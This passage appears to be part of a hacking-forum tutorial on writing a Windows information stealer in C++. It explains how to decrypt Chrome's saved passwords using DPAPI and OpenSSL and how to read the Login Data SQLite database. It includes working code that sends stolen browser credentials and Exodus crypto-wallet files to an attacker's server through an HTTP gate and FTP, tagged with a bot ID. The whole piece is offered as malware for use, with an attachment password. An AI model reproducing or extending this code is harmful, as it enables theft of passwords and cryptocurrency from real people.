This function is used to get temp path to copy Local stat file to temp cause when chrome is opened we can’t access the Local state file , so we copy it to temp path and we read from the copy cat

Then we parse the json data and when we got the base64 key , we decode it and save it in local variable Called encryptedMasterKey and the length save it in EncryptedMasterKeyLength

I Hope you understand Classes

DecryptMasterKey():

Here we are decrypting the master key we decode from base64 in function DecodeBase64Key()

Using function from WINAPI called CryptUnprotectData() .

Let’ me tell you this function How it work and what it do in few lines .



In very simple the function CryptUnprotectData Decrypt data that decrypted by the function CryptProtectData
This both functions to decrypt and uncrypt they use the login user information to complete their process So if we have 2 users in same PC , lets say first use is User1 and the second is User2
So use one can only decrypt data are encrypted with his credentials and he can’t decrypt any data that encrypted when User2 was logged in even the both users on same PC and maybe Same person are using same Users.
So that’s why we don’t just steal the encrypted key and login file and decrypt them in Our cloud offcourse it will be a littel faster but You now know the Problem .

But wait before we decrypt the key we need to remove the first 5 Words and are DPAPI

After that all we decrypt the key and store it in local variable called DecryptedMasterKey

The 2 functions AesDecrypt and and DecryptPassword used to init the openssl functions and uses decrypt function to decrypt the AES
You can also read more about SSL from official site openssl.org

EVP_CIPHER_CTX_new() creates a cipher context.
EVP_DecryptInit_ex(),
EVP_DecryptUpdate() and EVP_DecryptFinal_ex()
are the corresponding decryption operations.

DecryptLoginData() :
In this function we get temp path again as we make above but this time will copy Login Data file and this file we has all data stored in
And this is a SQLite DB so will use sqlite library to make a connection to the db

SELECT action_url, username_value, password_value FROM logins

This line is very basic query wich we tell the db we get
action_url, username_value, password_value from logins table

As in mysql and you will see that in the php section

After getting the rows we pass the encrypted value to the function DecryptPassword and offcourse the encrypted value is the most sensitive value and its the PASSWORD
And the function when password decrypted it store in the decryptedpassword variable wich we passed it by reference so we can read the decrypted from out side the function itself

We used strcat to make the logs pretty and readable so we know any email and password for wich Domain used

Then we save all login data in the Buffer variable

Finaly we just Base64encode the Buffer (LOGS) to upload them over HTTP using a function will be described bellow





Backing to the main function :

Add this code wiches create new object from the browsers class and describe the browser name to search for and also execute the encryption / decryption functions

C++: Скопировать в буфер обмена
Код:
    ChromuimBrowsers* Chrome = new ChromuimBrowsers();

    Chrome->GetBrowserPath("chrome");
    Chrome->DecodeBase64Key();
    Chrome->DecryptMasterKey();
    Chrome->DecryptLoginData();

    HttpClient->TransfeerStealedData(BotId, Chrome->Buffer);

Will done guys we have stealed browser login and crypto wallet Exodus , Now will upload the stealed data to our server and will use the Unique ID wiches generated by CLOUD and returned as echo to specify this stealed data from wich BOT !

So now will use the function TransfeerStealedData() from httpc2c class and uploaded
The TransfeerStealedData() function is very simple it just use the base64 encoded stealed browser data to upload it to our server

By passing them as arags also passing the Unique ID


Now to upload the Crypto profile data will use different function , will use wininet and FTP to upload the data.

Why FTP and Why Wininet ? ftp is useful and easy to upload data and Also to more familiar with deferent WINAPI functions and libraries

So will add the following code in ftp.h
C++: Скопировать в буфер обмена
Код:
#pragma once
#include "common.h"
class ftp
{
public:
    void TransfeerExodusWallet(std::string BotId, char* CompressWalletPath);
};

And the following code in ftp.cpp

C++: Скопировать в буфер обмена
Код:
#include "ftp.h"
#include "httpc2c.h"

void ftp::TransfeerExodusWallet(std::string BotId, char* CompressWalletPath)
{
    // Upload the exodus wallet compressed file as base64 encoded


    int iResult = 0;
    WSADATA wsData;
    struct  addrinfo* result = NULL, * ptr = NULL, hints;
    SOCKET connSocket = SOCKET_ERROR;

    ZeroMemory(&hints, sizeof hints);

    iResult = WSAStartup(MAKEWORD(2, 2), &wsData);

    if (iResult != 0)
        exit(1);

    iResult = getaddrinfo(HOST, PORT, &hints, &result);

    if (iResult != 0)
        exit(1);

    ptr = result;

    connSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
    if (connSocket == INVALID_SOCKET)
        exit(1);

    iResult = connect(connSocket, ptr->ai_addr, ptr->ai_addrlen);

    if (connSocket == SOCKET_ERROR)
        exit(1);

    /* transfeer stealed data */

    char* botData;
    botData = (char*)malloc(1000);

    strcpy(botData, "{\"action\":\"initcryptowallet\"");
    strcat(botData, ",\"botid\":\"");
    strcat(botData, BotId.c_str());
    strcat(botData, "\"");
    strcat(botData, "}");

    int  botDatacommendLength = strlen(botData);
    char StringbotDataCommendLength[200];
    itoa(botDatacommendLength, StringbotDataCommendLength, 10);

    char* HttpDatav2;
    HttpDatav2 = (char*)malloc(botDatacommendLength + 5000);
    strcpy(HttpDatav2, "POST /xssstealer/gate.php HTTP/1.0\r\n");
    strcat(HttpDatav2, "Host: ");
    strcat(HttpDatav2, HOST);
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\r\n");
    strcat(HttpDatav2, "Content-Type: text/html\r\n");
    strcat(HttpDatav2, "Content-Length: ");
    strcat(HttpDatav2, StringbotDataCommendLength);
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, "Accept-Charset: utf-8\r\n");
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, botData);
    strcat(HttpDatav2, "\r\n");
    strcat(HttpDatav2, "\r\n");


    iResult = send(connSocket, HttpDatav2, strlen((const char*)HttpDatav2), 0);
    if (iResult == SOCKET_ERROR)
        exit(1);

    // recive section
    char* rData;
    rData = (char*)malloc(4096);
    iResult = recv(connSocket, (char*)rData, 4096, 0);
    if (iResult == SOCKET_ERROR)
        exit(1);

    std::string bot_ftp_file_path = HttpParser(rData);



    closesocket(connSocket);
    WSACleanup();

    //char* Fbot_ftp_file_path;
    //Fbot_ftp_file_path = (char*)malloc(strlen(bot_ftp_file_path.c_str()) + 100);

    //strcpy(Fbot_ftp_file_path, bot_ftp_file_path.c_str());
    //strcat(Fbot_ftp_file_path, "/");
    //strcat(Fbot_ftp_file_path, "exodus.php");

    HINTERNET hInternet;
    HINTERNET hFtpSession;
    hInternet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    hFtpSession = InternetConnectA(hInternet, HOST, INTERNET_DEFAULT_FTP_PORT, FTPUSER, FTPPASS, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);  // Starts a session in this case an FTP session


    if (hInternet == NULL)
    {
        std::cout << "InternetOpenA error " << GetLastError() << std::endl;
    }

    if (hFtpSession == NULL)
    {
        std::cout << "hFtpSession error " << GetLastError() << std::endl;
    }

    BOOL Set = FtpSetCurrentDirectoryA(hFtpSession, bot_ftp_file_path.c_str());

    if (Set == TRUE)
    {
        std::cout << "Success" << std::endl;
    }



    if (FtpPutFileA(hFtpSession, CompressWalletPath, "love.tar", FTP_TRANSFER_TYPE_UNKNOWN, 0) == FALSE)
    {
        std::cout << "Faild" << std::endl;
        exit(1);
    }
    else
    {
        std::cout << "Success" << std::endl;
        //exit(1);
    }



    if (GetLastError() == ERROR_FTP_TRANSFER_IN_PROGRESS)
    {
        std::cout << " ERROR_FTP_TRANSFER_IN_PROGRESS " << std::endl;
    }

    //std::cout << CompressWalletPath << std::endl;

    //std::cout << Fbot_ftp_file_path << std::endl;

    //std::cout << "Getlasterror() " << GetLastError()  << std::endl;

    InternetCloseHandle(hFtpSession);
    InternetCloseHandle(hInternet);
}

The above code uses the Wininet Library in Passive mode to be able to upload file to the server and also we use Winsock to initcryptowallet and return the upload Directory to use it in FTP client

password for attachments : h1z1
All good , we have finished the client Code , untill now study code carfuely ask Questions if you need help





 
Сверху Снизу